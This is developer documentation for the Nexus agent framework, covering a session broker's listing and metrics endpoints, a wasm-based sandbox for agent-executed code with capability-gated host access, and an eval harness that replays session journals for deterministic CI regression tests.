binarieslist of objectThe listing. Always present and never null — an empty registry would encode as [] — so a client can iterate it unconditionally.
binaries[].namestringThe registry key — the exact string to put in a claim’s binary field. Always present.
binaries[].labelstringThe entry’s label. Omitted when the operator set none.
binaries[].descriptionstringThe entry’s description. Omitted when the operator set none.

The response is an object, not a bare array. The envelope exists so a broker-wide fact — a default-binary hint, a schema version — can be added later as a sibling key, which a client that ignores unknown keys will not notice. A top-level array has nowhere to put one, so adding it would mean changing the top-level JSON type and breaking every client at once.

path, args and env are never serialized, nor is the derived absolute path the broker resolved at boot. They are broker-host detail — build locations, deployment flags, per-variant environment — that a claiming client has no use for and every reason not to learn. Only the three fields above cross the wire.

label and description are absent, not empty, when unset, so a client can tell “the operator wrote nothing” from “the operator wrote an empty string”. A consumer with no label falls back to name, which is always present.

Ordering is by name, ascending — stable across requests and identical for every caller, so a picker does not reshuffle. The contents are not stable over time: binaries: is reloadable, so an operator’s edit changes the listing on the next SIGHUP (or the next boot). The listing and the configuration it was rendered from are published in one atomic swap, so a caller never sees a half-applied registry. The reserved nexus entry is always included: it is spawnable from every broker no matter what the config says.

The listing is unfiltered — every caller sees every entry. There is no per-principal visibility rule: an entry name is not a secret (an unknown one is already rejected by POST /claim with a 400 naming the alternatives), and a filter would need a per-entry authorization model no config key describes.

Authentication follows POST /claim exactly: the route is registered behind the same middleware, so with an auth: block a missing or invalid credential is refused (401) and a valid one gets the list; with no auth: block the route serves an unauthenticated caller, which is a supported deployment rather than a degraded one.

GET /metrics (HTTP API, not YAML)

GET /metrics is the broker’s Prometheus scrape surface. It is read-only, mutates nothing, and takes no parameters. The response is the Prometheus text exposition format with Content-Type: text/plain; version=0.0.4; charset=utf-8.

The exposition is hand-rolled: the broker is stdlib plus github.com/coder/websocket, and no client library is pulled in for it. There is no configuration key — the route is always mounted.

Authorization is stricter than every other route. It sits behind the same auth: middleware as POST /claim, and additionally requires auth.admin_scope:

Broker configurationCallerResult
No auth: blockanyone200 + exposition
auth: configuredno / invalid credential401 (from the guard)
auth: configuredvalid credential, no admin_scope403 {"error":"insufficient scope"}
auth: configuredvalid credential with admin_scope200 + exposition
auth: configured, admin_scope set to ""anyone403 — nobody is an operator

The rule matches GET /leases: every number here is a whole-registry aggregate, which is exactly the disclosure the leases listing already reserves for an operator. With no auth: block it serves anyone, exactly as every other route on this binary does.

Metric names are a stable surface. All are namespaced nexus_broker_, and their cardinality is bounded by construction — no metric is ever labelled by lease id, principal, session id or binary path, and every label value comes from a compile-time set, so each declared series is present (at 0) from the very first scrape and an alert can be written against it before it ever fires.

MetricTypeLabelsMeaning
nexus_broker_claims_totalcounteroutcomeInstance claims handled by the shared spawn spine — POST /claim and the A2A ingress — by outcome.
nexus_broker_claim_duration_secondshistogramWall time of an accepted claim, request to ready instance. A refusal is not observed here.
nexus_broker_spawn_failures_totalcounterreasonSpawns that produced no ready instance.
nexus_broker_frames_dropped_totalcounterreasonBroker frames discarded rather than relayed.
nexus_broker_replay_gaps_totalcounterreasonStream-gap notices served to a resuming client.
nexus_broker_client_evictions_totalcounterClient WebSockets displaced by a newer connection on the same lease.
nexus_broker_config_reloads_totalcounteroutcomeSIGHUP reloads, applied or rejected.
nexus_broker_restored_leases_totalcounteroutcomeLeases adopted from the journal at boot, and what became of them.
nexus_broker_slots_in_usegaugeCapacity slots currently held: one per live lease.
nexus_broker_max_concurrentgaugeConfigured max_concurrent. 0 = unlimited.
nexus_broker_queue_depthgaugeClaims parked in the FIFO capacity queue.
nexus_broker_max_queue_depthgaugeConfigured max_queue_depth. 0 = unlimited.
nexus_broker_leasesgaugestateLive leases by the GET /leases surface state: spawning, active, draining.
nexus_broker_tickets_outstandinggaugeIssued, unredeemed WebSocket tickets still held.

Label values:

LabelMetricValues
outcomenexus_broker_claims_totalaccepted, rejected, no_capacity, queue_timeout, queue_full, principal_lease_limit, principal_queue_limit, cancelled, spawn_failed, ready_timeout, internal
reasonnexus_broker_spawn_failures_totalexec, exited_before_ready, ready_timeout
reasonnexus_broker_frames_dropped_totalundecodable, lease_mismatch, no_instance, instance_buffer_full, client_buffer_full, lease_gone
reasonnexus_broker_replay_gaps_totalevicted, restarted
outcomenexus_broker_config_reloads_totalapplied, rejected
outcomenexus_broker_restored_leases_totalrestored, reattached, reaped
statenexus_broker_leasesspawning, active, draining

The three capacity refusals — no_capacity, queue_timeout, queue_full — all answer HTTP 503, and they are separate label values precisely because they call for three different fixes (raise max_concurrent, raise queue_wait_timeout, raise max_queue_depth). Grouping a dashboard by status code loses that.

The counters are process-lifetime and monotonic; they reset on restart, as Prometheus counters are expected to. The gauges are read from live state at scrape time — from the same slots_in_use / waiter-queue counters the capacity accounting and GET /leases already use — so they cannot drift from what the registry actually holds.

Full narrative, the new-vs-resume flow, a WebSocket connect sketch, and the v1 deployment caveats live in the Session Broker guide.


Cross-references

  • Plugin System — plugin lifecycle, Requires() vs Dependencies(), capability resolution.
  • Gates — vetoable event mechanics shared by every gate plugin.
  • Tool System — tool choice, parallel dispatch, structured output.
  • RAG — embeddings, vector store, ingestion.
  • I/O Transport — browser vs Wails, parity rule.
  • Desktop Shell — embedder API.

Sandboxing

Nexus tools that shell out (tools/shell) or execute agent-emitted code (tools/code_exec) route through a single execution-isolation abstraction at pkg/engine/sandbox. Backends slot in via the Sandbox interface; the v1 release ships host and wasm, with landlock, gvisor, and firecracker deferred.

Threat model

Agent-emitted code is the load-bearing case. Trail of Bits’ Oct 2025 prompt-injection-to-RCE chain documented multiple production incidents where a compromised LLM context yielded host shell access through under-isolated tool execution. For non-developer end users (the desktop shell ships agents to laptops), “sandbox in name only” is a regression to those incidents waiting to happen.

The wasm backend closes that risk for tools/code_exec by interpreting agent code inside a wazero-managed Wasm module. The module sees no kernel syscalls — every escape is a host-side bridge function with explicit capability gates.

Backends

host (default for tools/shell)

Runs commands directly via os/exec against the host kernel. The configured allowed_commands allowlist and working_dir apply, but a permissive allowlist is a host compromise away from arbitrary code execution. Use this only when commands are trusted (developer machines, CI runners, allowlists tight enough that escape is implausible).

nexus.tool.shell:
  sandbox:
    backend: host
    allowed_commands: [git, go, npm]
    working_dir: ~/.nexus/sessions/${session_id}/files

Embeds a Yaegi-compiled-to-Wasm interpreter into the engine binary at build time. The wasm module sees no fs / net / syscalls unless the configured policy explicitly grants them, in which case the calls go through a host bridge function gated per-operation. Bridge surfaces:

SDK packageCapability tagGate config
nexus_sdk/httpcap_net_httpsandbox.net.allow_hosts (exact-match hostnames)
nexus_sdk/fscap_fs_read, cap_fs_writesandbox.fs_mounts (host→guest bindings, ro/rw)
nexus_sdk/execcap_execsandbox.exec_allowed (command allowlist)
nexus_sdk/envnonesandbox.env (sandbox-scoped key/value map)
nexus.tool.code_exec:
  compiler: yaegi-wasm
  sandbox:
    backend: wasm
    cache_dir: ~/.nexus/sandbox/wasm/cache
    timeout: 30s
    net:
      allow_hosts: ["api.openai.com", "api.anthropic.com"]
    fs_mounts:
      - host: ~/.nexus/sessions/${session_id}/files
        guest: /workspace
        mode: rw
    exec_allowed: [git]
    env:
      WORKSPACE: /workspace

Empty net.allow_hosts denies all HTTP. Empty fs_mounts denies all FS. Empty exec_allowed denies all subprocess invocation.

Snippet authoring under wasm

package main

import (
	"context"
	"fmt"
	"errors"

	nhttp "nexus_sdk/http"
	nfs "nexus_sdk/fs"
)

func Run(ctx context.Context) (any, error) {
	resp, err := nhttp.Get("https://api.example.com/data")
	if err != nil {
		if errors.Is(err, nhttp.ErrCapDenied) {
			return nil, fmt.Errorf("net.allow_hosts denies api.example.com")
		}
		return nil, err
	}
	if err := nfs.WriteFile("/workspace/out.json", resp.Body); err != nil {
		return nil, err
	}
	return resp.Status, nil
}

The nexus_sdk/* packages mirror the shape of net/http, os, os/exec, and os.Getenv so familiar Go reflexes work. The bridge layer flattens the ABI: Bodies are []byte, not io.Reader. Streaming reads / writes are not supported in v1.

What you give up under wasm

  • Raw TCP / net.Dial — not provided. Add a targeted bridge function (nexus_sdk/websocket, etc.) when a real caller needs it.
  • cgo — never. Not a Wasm thing.
  • Full database/sql driver libraries — most native drivers won’t run in Wasm without their own bridges. Use HTTP-shaped database backends (REST, BigQuery) or run database access via tools/shell with appropriate gating.
  • tools.* typed bindings, parallel.* constructs, skill helpers — v1 surface forfeits these on the wasm path. They remain available under compiler: yaegi-host for trusted skill-author workflows.

Performance

OperationCost
WasmBackend cold start (one-time per session)~5–9 s wazero AOT compile of the 39 MiB embedded runner
With cache_dir set, subsequent process startup~50–200 ms
Per-snippet (warm backend)~30–50 ms wall, ~5–30 ms interpretation overhead + bridge round-trips

Set cache_dir to a stable path (e.g., ~/.nexus/sandbox/wasm/cache) to amortise the wazero AOT cost across processes.

Future tiers (not in v1)

  • landlock — Linux-only hardening below tools/shell.
  • gvisorrunsc subprocess for stronger tools/shell isolation under Linux.
  • firecracker — Per-snippet microVM for hosted multi-tenant deployments.

The full-Go (GOOS=wasip1) compile path with auto-bootstrapped Go SDK is tracked in #71 and ships only on real demand for full Go stdlib semantics (generics, full reflect, text/template).

Native Realtime API Integration — Deferred

Both OpenAI Realtime API and Gemini Multimodal Live are entire new wire protocols separate from the standard chat/generate endpoints already used by plugins/providers/openai/ and plugins/providers/gemini/. They require per-provider WebSocket clients with their own session lifecycle, tool-use envelopes, audio-streaming framing, and turn-taking semantics — each on the order of a full provider plugin’s implementation surface.

That is too large to ship in the multimodal-foundation PR (#93), which limits scope to the building blocks: blob store, multimodal MessagePart plumbing, the EmbeddingsRequest.Inputs shape, the Cohere multimodal embeddings adapter, and the nexus.memory.vector store_images opt-in. Native realtime adapters are tracked under issue #91 as a follow-up.

Until they land, voice-mode users go through the standard pipeline:

ASR (e.g. Whisper) → llm.request → TTS

implemented as the plugins/io/voice/ transport (Phase 4 of #91). The voice IO plugin is a portable design — when realtime providers are wired, the same agent configs keep working; only the inner LLM call is replaced with a streaming session.

What’s needed when these land

For each provider:

  • WebSocket client (gorilla/websocket or stdlib upgrader on the server side; both providers run server-sent WebSockets) honoring the documented session-init handshake.
  • A new nexus.io.realtime.<provider> transport plugin OR a new LLM provider variant that consumes voice.audio.input.chunk events and emits voice.audio.output.chunk events. Decision deferred to the follow-up issue; both shapes work, but the IO-plugin shape keeps the rest of the engine unaware of the streaming wire details.
  • Tool-use bridging: realtime APIs surface tool calls inline in the audio stream — those need to translate into the existing tool.call / tool.result events with no behavior change for tool plugins.
  • Cancel + barge-in plumbing onto nexus.control.cancel.

Eval Harness Overview

New here? Start with the quickstart for an end-to-end session→case→CI walkthrough.

Nexus ships a first-class eval workflow built directly on top of the durable journal. The harness records, replays, and scores agent sessions offline — no API key required for the deterministic path — and gates regressions in CI.

This document covers the concept and the moving pieces. For YAML keys see configuration/reference.md; for the case.yaml / assertions.yaml schema see case-format.md.

Why evals (in Nexus terms)

Once the journal exists, every session is replayable. An eval is a journal plus a bundle of assertions that say “this trace is the desired behaviour”. Phase 1 shipped the runner; Phase 2 ships the CLI, the multi-case runner, the baseline differ, and five seed cases.

Two modes:

ModeReplay short-circuitLLM judgeWhen
--deterministicyesskippedevery PR; gates merge
--fullyesrun, temperature=0, cachednightly; gates release

The --deterministic contract is binding: PRs never block on judge flake. --full runs judge calls but still drives them through the journal stash — side effects are short-circuited even when the rubric is being graded. --full is reserved for the LLM-judge mode — it is currently a placeholder. Passing --full prints a warning and runs in deterministic mode (cmd/nexus/eval.go:108-113). Full plumbing lands in a follow-up.

What a case is

A case is a directory under tests/eval/cases/<id>/:

tests/eval/cases/<id>/
  case.yaml         # name, description, tags, owner, freshness, model_baseline
  input/
    config.yaml     # engine config under test (typically mock provider)
    inputs.yaml     # scripted user inputs (record-side; live agent reads from journal)
  journal/          # full copy of the source session journal
    header.json
    events.jsonl
  assertions.yaml   # deterministic + (Phase 5) semantic assertions
  _record/          # optional: go-tagged recorder that regenerates journal/
    main.go

journal/ is a 1:1 copy of ~/.nexus/sessions/<source-session>/journal/ at promotion time. There is no second fixture format.

The runner reads case.yaml, builds the engine from input/config.yaml, overrides core.sessions.root to a tempdir, calls engine.Replay(), and collects events for assertion evaluation.

What a report is

A report is one JSON document per nexus eval run invocation:

tests/eval/reports/<run-id>/
  report.json       # schema_version=1; per-case + summary
  summary.txt       # human-readable counterpart
  _sessions/<id>/   # per-case session workspace (transcript, config snapshot)

schema_version is stable: the baseline differ (pkg/eval/baseline) keys off field names. Bumping the version is a deliberate event with an explicit migration note.

How a run flows

  1. Discovery. The CLI walks cases_dir, parses each case.yaml, filters by --tags.
  2. Per-case engine. Each case constructs its own engine from input/config.yaml. core.sessions.root is overridden to a per-run tempdir under <reports_dir>/<run-id>/_sessions/.
  3. Replay. journal.NewCoordinator seeds the FIFO stash with llm.response / tool.result / io.ask.response payloads from the journal, then re-emits io.input events in seq order. The live agent reacts as if the inputs were fresh; side-effecting plugins detect engine.Replay.Active() and pop the stash instead of calling out.
  4. Observation. After replay finishes, the runner reads the live session’s freshly-written journal as the authoritative observed event stream. A wildcard collector is kept as a fallback only (wildcard dispatch order is post-order, which would skew sequence assertions).
  5. Assertion evaluation. Each Assertion.Evaluate(observed, golden) produces an AssertionResult. The case passes iff every assertion passes.
  6. Aggregation. pkg/eval/report.Aggregate rolls Results into a Report and writes JSON + summary.

How baseline gating works

nexus eval baseline --against <path> loads two reports (file or directory) and computes a Diff. Per-case it records pass/fail movement, latency p50/ p95 deltas, and token deltas. Per-run it records new/missing cases and the pass-rate delta.

Pointing --against at the right directory. nexus eval run --report-dir X writes the report to X/<run-id>/report.json (e.g. X/20260502T143022Z/report.json). baseline --against accepts either the run-id subdirectory or a report.json file directly — it does not auto-descend a parent. Use --against X/<run-id> or, when there’s only one run under the parent, --against X/*.

Two thresholds drive the exit code:

  • eval.baseline.fail_on_score_drop — absolute pass-rate drop threshold. 0 disables.
  • eval.baseline.fail_on_latency_p95_drop — relative p95-latency increase threshold (per case). 0 disables.

Plus a hard rule: any case that flipped pass → fail is treated as a regression and fails the baseline run. The Diff.Breached field is the machine-readable record of which gate (if any) tripped.

Determinism contract

The journal is the source of truth. During replay:

  • LLM providers (Anthropic / OpenAI / Gemini / mock) check engine.Replay.Active() and emit the next stashed llm.response instead of calling the API.
  • Side-effecting tools (shell, file, code_exec, web, pdf, ask_user) follow the same pattern with tool.result.
  • Boot-time emissions (skill.discover, tool.register, etc.) re-fire live during every replay — they are deterministic by construction.
  • Live-emitted derived events (plan.created, plan.result, agent.turn.start/end) are also re-emitted live.

This means a case’s assertions can name any of those event types and they will all be present in the observed stream during a clean replay. What is not re-emitted is anything that depended on a side effect that didn’t happen — most notably, provider.fallback only fires when the primary errored. The provider-fallback seed case demonstrates how to write assertions for the boot+config-validation half of that scenario; the live error path is covered by the integration test under tests/integration/.

Future phases

PhaseAddsStatus
1Core runner, 7 deterministic assertions, 1 seed caseShipped
2CLI, multi-case, baseline diff, 5 seed casesShipped
3nexus eval record / promote (failure → case in one command)Shipped — see promotion.md
4plugins/observe/sampler/ (online sample capture)Shipped — see Online sampling
5--inspect-mode JSON protocol for external harnessesShipped — see External harness integration. --full LLM judge remains stubbed.

The case directory layout finalized in Phase 2 is forward-compatible with Phase 3 promotion — record writes the same shape that Phase 2 reads. The report’s schema_version: "1" is the contract Phase 5’s protocol mode and external harnesses (Inspect AI, Braintrust) will pin against.

Online sampling

Phase 4 adds the nexus.observe.sampler plugin: an opt-in observer that snapshots a configurable fraction of live sessions (plus every failed session, when failure_capture is on) into ~/.nexus/eval/samples/<id>/. Captured directories share the case-compatible journal layout, so they feed straight into the promotion pipeline once an operator picks one out of the sample set.

Activation is two opt-ins (off by default):

plugins:
  active:
    - nexus.observe.sampler

  nexus.observe.sampler:
    enabled: true
    rate: 0.05
    failure_capture: true
    out_dir: ~/.nexus/eval/samples

See the sampler plugin doc for the capture-decision rules, the eval.candidate event contract, the pluggable redactor hook, and the integration story with nexus eval promote.

External harness integration

Phase 5 adds nexus eval --inspect-mode: a single-shot, headless, stdin/stdout JSON protocol that lets external eval harnesses (AISI Inspect AI, Braintrust, custom CI tooling) drive Nexus from any language. Pipe a JSON request in, parse a JSON response out, exit code indicates success.

echo '{"schema":1,"config_path":"configs/coding.yaml","user_input":"hello"}' \
  | nexus eval --inspect-mode

The wire format is the durable contract. Schema-stability snapshot tests in pkg/eval/protocol/ enforce that the byte layout cannot drift silently — every change requires updating the snapshot deliberately, and the version field (schema: 1) is the migration marker external shims pin against.

Nexus does not ship a Python or Node shim. The protocol is the contract; any out-of-tree integration is a thin subprocess wrapper. See inspect-protocol.md for the full reference, field-by-field documentation, error code table, and a worked Python shim example you can copy into your harness.

Quickstart — From Session to Green CI

This is the linear walkthrough: capture a real session, promote it into a case, tighten the rubric, run it locally, lock in a baseline, and wire the result into CI. By the end you have one regression test for one bad trace, gating future PRs.

For schema details see case-format.md. For background concepts see overview.md.

1. Capture a session

Boot Nexus normally and run a session that demonstrates the failure or the behaviour you want to lock in:

bin/nexus -config configs/coding.yaml

Drive it through whatever interaction surfaces the bug. When the session ends (Ctrl-D in the TUI, or close the browser tab), the journal is flushed to disk under ~/.nexus/sessions/<id>/.

To find the session ID of the run you just made:

ls -t ~/.nexus/sessions/ | head -1

The IDs are timestamped (20260501T143022Z-style), so the most-recent directory is the one you want.

2. Promote the session into a case

nexus eval promote copies the session journal verbatim into a case directory and synthesizes a starter assertions.yaml:

bin/nexus eval promote \
  --session 20260501T143022Z \
  --case   my-regression \
  --no-edit

Useful flags:

  • --owner you@example.com — recorded in case.yaml.
  • --tags react,coding,regression — used by --tags filtering at run time.
  • --description "Reproduces the off-by-one in the file diff path." — appears in run summaries.

The promoter prints any warnings (failed-session journals, non-replayable events) to stderr — read them. They tell you where the case will be brittle on replay.

3. Edit the rubric

Open the synthesized assertions file:

$EDITOR tests/eval/cases/my-regression/assertions.yaml

The starter file uses broad event_count_bounds and one event_sequence_distance. Tighten the bounds where you have signal — e.g. drop the slack on tool.invoke counts to exactly the number you care about, or shrink the sequence-distance threshold from 0.30 to 0.15. For latency, lower the p50_ms / p95_ms budgets to whatever the captured run actually exhibits, plus a small headroom.

See case-format.md for the seven assertion kinds and their fields.

4. Run the case

bin/nexus eval run --case my-regression

Expected output is a one-liner human summary on stdout plus the report location on stderr:

PASS my-regression  3 assertions  234ms

report: tests/eval/reports/20260501T144517Z/report.json

The full report (JSON) and a human counterpart (summary.txt) land under tests/eval/reports/<run-id>/. Inspect them when something fails.

5. Establish a baseline

Once the case is green and you trust the trace, copy the run-id directory aside as the reference baseline:

cp -r tests/eval/reports/20260501T144517Z tests/eval/reports/baseline

From any future run, diff against the baseline:

bin/nexus eval baseline \
  --against tests/eval/reports/baseline \
  --report  tests/eval/reports/20260502T081200Z

Run-id subdir convention. eval run --report-dir X writes the report to X/<run-id>/report.jsonX itself does not contain a report.json. baseline --against accepts either the run-id subdirectory or a report.json file directly, but does not auto-descend a parent. Point at the run-id dir, not its parent.

6. Wire to CI

Both subcommands use exit codes that gate cleanly:

  • nexus eval run exits 1 on any failed case, 0 otherwise.
  • nexus eval baseline exits 1 on a threshold breach (fail_on_score_drop, fail_on_latency_p95_drop, or any pass→fail flip), 0 otherwise.

A natural Makefile target:

eval-deterministic:
	bin/nexus eval run
	bin/nexus eval baseline --against tests/eval/reports/baseline

Wire that into your CI’s PR pipeline. The deterministic path needs no LLM credentials — it replays journals.

Case Format

This page is the schema reference for the files inside a tests/eval/cases/<id>/ bundle. Conceptual background lives in overview.md. Top-level eval: keys live in configuration/reference.md.

Directory layout

tests/eval/cases/<id>/
  case.yaml         # case metadata
  input/
    config.yaml     # engine config (typically mock provider)
    inputs.yaml     # scripted user inputs
  journal/          # session journal (header + events)
    header.json
    events.jsonl
  assertions.yaml   # deterministic + (Phase 5) semantic assertions
  _record/          # optional: build-tagged recorder for the journal
    main.go         # //go:build evalrecord

The directory’s basename becomes the case ID. Hidden directories and underscore-prefixed children (_record) are ignored by the discovery walk.

case.yaml

KeyTypeRequiredDescription
namestringyesHuman-readable case name. Loader rejects empty values.
descriptionstringnoMulti-line free text; appears in summaries.
tagslistnoStrings used by --tags CLI filtering. Filter is a superset match.
ownerstringnoEmail or handle of the case owner — useful when promoting from real failures.
freshness_daysintnoSoft hint that the journal should be re-recorded after N days. Not enforced in v1.
model_baselinestringnoThe model the journal was originally captured against (e.g. mock, claude-sonnet-4-6). Phase 5 uses this for cross-version drift gating.
recorded_atdatetimenoISO 8601 timestamp of last journal recording.

Reference: pkg/eval/case/case.go:46-54.

input/config.yaml

A standard Nexus engine config — same schema as any configs/*.yaml. Two constraints worth noting:

  • The runner overrides core.sessions.root automatically, so the case-supplied value is irrelevant in practice (the runner uses a per-run tempdir).
  • The case must use mock-mode providers or real-credential-free configs. No ANTHROPIC_API_KEY, no OPENAI_API_KEY — replay short-circuits hide the actual provider call, but plugin construction must still succeed without one.

input/inputs.yaml

inputs:
  - "Why won't main.go build?"
  - "Show me the fixed version."

This file is the canonical record of the user side of the dialogue. The runner does not read it directly during replay — the journal coordinator re-emits the journaled io.input events instead. inputs.yaml exists for human auditability and for Phase 3 promotion round-tripping.

journal/

A drop-in copy of ~/.nexus/sessions/<id>/journal/. header.json is required (provides schema_version for compatibility checks); events.jsonl contains the full event stream as JSONL envelopes. Rotated segments (events-NNN.jsonl.zst) are supported transparently by the journal reader.

For seed cases that are easier to hand-craft than to record, drop a //go:build evalrecord recorder in _record/main.go:

//go:build evalrecord

package main

import (
    "context"
    "time"
    "github.com/frankbardon/nexus/pkg/engine/journal"
    "github.com/frankbardon/nexus/pkg/events"
)

func main() {
    w, _ := journal.NewWriter("tests/eval/cases/<id>/journal", journal.WriterOptions{
        FsyncMode:  journal.FsyncEveryEvent,
        BufferSize: 16,
        SessionID:  "<id>-golden",
    })
    t0 := time.Date(2026, 5, 1, 12, 0, 0, 0, time.UTC)
    envs := []journal.Envelope{
        {Seq: 1, Ts: t0, Type: "io.session.start", Payload: map[string]any{...}},
        {Seq: 2, Ts: t0.Add(10 * time.Millisecond), Type: "io.input", Payload: events.UserInput{Content: "..."}},
        // ...
    }
    for i := range envs { w.Append(&envs[i]) }
    ctx, _ := context.WithTimeout(context.Background(), 5*time.Second)
    _ = w.Close(ctx)
}

Run with:

go run -tags evalrecord ./tests/eval/cases/<id>/_record/

assertions.yaml

Top-level shape:

deterministic:    # list of assertion entries
  - kind: <one of the 7 deterministic kinds>
    ...spec fields...
semantic: []      # reserved for Phase 5

Every entry must have a kind field. Unknown kinds error out at load time — typos are loud, not silent.

event_emitted

Pass when at least Min and at most Max envelopes match the type and optional where payload filter. The default is “at least 1, no upper”.

- kind: event_emitted
  type: tool.invoke
  where:
    name: read_file
  count: { min: 1, max: 1 }

where does shallow equality on the payload (case-insensitive on field names). Reference: pkg/eval/case/assertions.go:36-49.

event_count_bounds

Per-event-type count range across the observed stream. Use this for turn-frame expectations.

- kind: event_count_bounds
  bounds:
    agent.turn.start: { min: 2, max: 2 }
    agent.turn.end:   { min: 2, max: 2 }
    io.input:         { min: 2, max: 2 }

Reference: pkg/eval/case/assertions.go:71-74.

event_sequence_strict

Exact match against an ordered pattern, optionally filtered to a subset of event types. The escape hatch — fragile across model upgrades; use sparingly.

- kind: event_sequence_strict
  filter: [io.input, agent.turn.start, agent.turn.end, llm.response, tool.invoke, tool.result]
  pattern:
    - io.input
    - agent.turn.start
    - llm.response
    - tool.invoke
    - tool.result
    - llm.response
    - agent.turn.end

Reference: pkg/eval/case/assertions.go:76-80.

event_sequence_distance

Levenshtein ratio (0.0 = identical, 1.0 = totally different) between the observed and golden filtered streams. The permissive form of event_sequence_strict; default-pick for trace-drift gating.

- kind: event_sequence_distance
  threshold: 0.15
  filter: [io.input, agent.turn.start, agent.turn.end, llm.response, tool.invoke, tool.result]

Reference: pkg/eval/case/assertions.go:53-58.

tool_invocation_parity

Per-tool count parity (within count_tolerance) and, when arg_keys: true, that each tool’s observed argument key set matches the golden’s. Arg-value parity is intentionally not checked — values vary across model upgrades.

- kind: tool_invocation_parity
  count_tolerance: 0
  arg_keys: true

Reference: pkg/eval/case/assertions.go:64-67.

token_budget

Caps tokens read off llm.response events. per_turn: true enforces the limits per agent turn; otherwise they cap the session total.

- kind: token_budget
  max_input_tokens: 1000
  max_output_tokens: 500
  per_turn: false

Reference: pkg/eval/case/assertions.go:84-88.

latency

Caps p50/p95 turn latency, computed from event timestamp deltas (not wall-clock). A turn = agent.turn.startagent.turn.end.

- kind: latency
  p50_ms: 500
  p95_ms: 2000

Reference: pkg/eval/case/assertions.go:92-95.

Generating a case

For new cases, prefer nexus eval promote (alias nexus eval record) over hand-crafting the directory. The promoter copies an existing session’s journal verbatim, projects the journaled io.input events into inputs.yaml, and synthesizes a starter assertions.yaml you can tighten afterwards.

nexus eval promote \
  --session <session-id-or-path> \
  --case   <new-case-id> \
  [--no-edit] [--force] [--tags ...] [--description "..."]

See promotion.md for the full workflow, including warnings (failed-session, non-replayable event types) and the assertions.yaml editing checklist. The hand-crafted _record/main.go recorder under tests/eval/cases/<id>/ remains supported for synthetic mock-mode cases that have no source session, but real sessions should go through promote.

Authoring tips

  • Start broad, tighten over time. The first version of a case typically uses event_count_bounds plus event_emitted for the load-bearing events. Add event_sequence_distance once you’ve seen one or two clean runs.
  • Filter ruthlessly. event_sequence_* assertions over an unfiltered stream are fragile because tick events, status updates, and thinking steps slip in and out of runs. Filter to the events you actually care about.
  • Know what re-emits. Side-effecting events (llm.response, tool.result) are stashed and re-emitted from the stash; live-emitted events (agent.turn.*, plan.*, tool.invoke, skill.discover) are generated fresh every replay. Boot-time emissions (e.g. capability registration, tool.register) fire live too. Anything that depends on a side-effect failure (provider.fallback, retry events) will not re-fire — assert on the success path or move that case to the live integration test suite.
  • Tags are a superset filter. --tags react,mock matches a case tagged [react, mock, planner] but skips [react] alone. Tag generously.

Reference cases

The five seed cases in-tree are the canonical examples. Read the bundles when authoring a new case — the patterns scale:

  • tests/eval/cases/build-error-fix/ — minimal end-to-end: ReAct + shell tool + 2 turns.
  • tests/eval/cases/react-planner-handoff/ — dynamic planner handing tasks to the ReAct agent.
  • tests/eval/cases/multi-subagent-fanout/ — orchestrator with parallel workers.
  • tests/eval/cases/provider-fallback/ — boot/config validation only; the live error path stays in tests/integration/fallback_test.go (replay short-circuit can’t reproduce side-effect failures).
  • tests/eval/cases/skills-discovery/ — agent invoking a skill loaded via scan_paths.

Each seed bundle keeps its _record/main.go recorder (build-tagged //go:build evalrecord) alongside the journal so the trace can be regenerated deterministically when the schema changes.

Promoting a Session to an Eval Case

nexus eval promote (alias nexus eval record) turns a live session directory under ~/.nexus/sessions/<id>/ into a deterministic eval case under tests/eval/cases/<case-id>/. The whole flow runs offline — the recorded journal is the source of truth, and replay short-circuits every side effect.

This page covers:

  • The failure → case workflow and when to use it.
  • Exactly what promote writes (and what it deliberately doesn’t).
  • How to edit the synthesized assertions.yaml afterwards.
  • Warnings the tool surfaces and how to interpret them.
  • The non-replayable caveat (provider fallbacks, retries, errors).

For YAML schema details see case-format.md. For the CLI flag list, run nexus eval promote -h.

When to promote

The intended workflow is production failure → offline regression case:

  1. A real session goes wrong. The journal at ~/.nexus/sessions/<id>/journal/ already captured the full event stream — every llm.response, every tool.result, every io.input. No additional logging needed.
  2. You run nexus eval promote --session <id> --case <new-id>.
  3. The promoted case is checked in, replays deterministically in CI, and keeps the failure from regressing.

Promotion is also the easiest way to bootstrap a new case from a clean session you already ran by hand — just point promote at it instead of hand-crafting the journal under _record/.

What promote does

The implementation lives in pkg/eval/promote/. The pipeline:

  1. Validate the source session has a journal and metadata (promote.go:validateSessionDir).
  2. Copy the journal byte-for-byte from <session>/journal/ into <case>/journal/ — header, active segment, and any rotated segments. Replay reads the same on-disk shape, so a verbatim copy is the right contract.
  3. Copy the config snapshot from <session>/metadata/config-snapshot.yaml into <case>/input/config.yaml. The case runs against the same engine config the recorded session used — no rewriting, no redaction (today). If the snapshot is missing (rare — only happens when a session crashed before the engine wrote metadata), promote writes a placeholder and warns.
  4. Reconstruct inputs.yaml from journaled io.input events (inputs.go:ExtractInputs). The runner doesn’t read this file — it re-fires inputs from the journal directly — but inputs.yaml is the canonical record of the user side of the dialogue, kept for human review.
  5. Synthesize a starter assertions.yaml from a single journal pass (scaffold.go:SynthesizeAssertions):
    • event_count_bounds — every distinct event type with min=max=count.
    • token_budget — observed input/output totals + 10% slack.
    • latency — observed turn-pair p50/p95 + 50% slack.
    • tool_invocation_parity — one block when at least one tool was used, with count_tolerance: 0 and arg_keys: true.
    • semantic: [] — empty, with a TODO comment for Phase 5 LLM-judge rubrics.
  6. Write case.yaml with name, description (synthesized when omitted), tags, owner (falling back to $USER, then unknown), freshness_days: 30, model_baseline (extracted from core.models.default), and recorded_at = now.
  7. Optionally launch $EDITOR on <case>/assertions.yaml. The fallback chain is $EDITOR → $VISUAL → nano → vi. Pass --no-edit to skip.

The CLI prints a one-line summary plus warnings to stderr and exits 0 on success. On any error after the case directory was created, it removes the partial directory so a retried promote is not blocked by stale shell.

Editing assertions.yaml

The synthesized YAML is intentionally strict — every event-type bound is min=max=count, every tool count tolerance is 0. This is the right default: a freshly-promoted case should reproduce the source session exactly, byte-for-byte. As you fold the case into a broader scenario, you loosen the parts that legitimately vary:

  • Loosen event_count_bounds for noise types: core.tick, status.update, thinking.step. These vary across runs even when the load-bearing behaviour is identical.
  • Tighten tool_invocation_parity by adding new tools as your case evolves — but keep arg_keys: true to catch shape regressions.
  • Add an event_sequence_distance assertion (with threshold: 0.15 as a starting point) to gate trace drift across model upgrades.
  • Add an event_emitted with where for the load-bearing tool calls (e.g. tool.invoke where {name: read_file} with count: {min: 1}).
  • Phase 5: add an llm_judge rubric to the semantic: block once the case is stable. The TODO comment in the scaffold reminds you.

